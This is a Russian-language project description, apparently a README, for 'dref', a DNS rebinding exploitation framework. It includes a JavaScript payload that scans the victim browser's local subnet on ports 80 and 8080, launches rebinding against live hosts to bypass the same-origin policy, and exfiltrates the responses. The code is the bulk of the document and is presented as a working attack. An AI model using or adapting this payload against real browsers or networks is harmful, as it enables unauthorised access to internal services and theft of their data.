
Фреймворк для эксплуатации DNS-ребендинга
Фреймворк для эксплуатации DNS Rebinding
Этот проект больше не поддерживается.
dref берет на себя основную работу по DNS rebinding. Следующий фрагмент из одного из его встроенных полезных нагрузок показывает, как фреймворк используется для сканирования локальной подсети из взломанного браузера; после выявления активных веб-сервисов он приступает к эксфильтрации GET-ответов, легко обходя политику одинакового источника:
// mainFrame() runs first
async function mainFrame () {
// We use some tricks to derive the browser's local /24 subnet
const localSubnet = await network.getLocalSubnet(24)
// We use some more tricks to scan a couple of ports across the subnet
netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
// We launch the rebind attack on live targets
for (let h of results.hosts) {
for (let p of h.ports) {
if (p.open) session.createRebindFrame(h.host, p.port)
}
}
})
}
// rebindFrame() will have target ip:port as origin
function rebindFrame () {
// After this we'll have bypassed the Same-Origin policy
session.triggerRebind().then(() => {
// We can now read the response across origin...
network.get(session.baseURL, {
successCb: (code, headers, body) => {
// ... and exfiltrate it
session.log({code: code, headers: headers, body: body})
}
})
})
}
Перейдите в Wiki, чтобы начать, или ознакомьтесь с dref, атакующим безголовые браузеры для практического примера использования.
Это релиз для разработки - **не используйте в продакшене**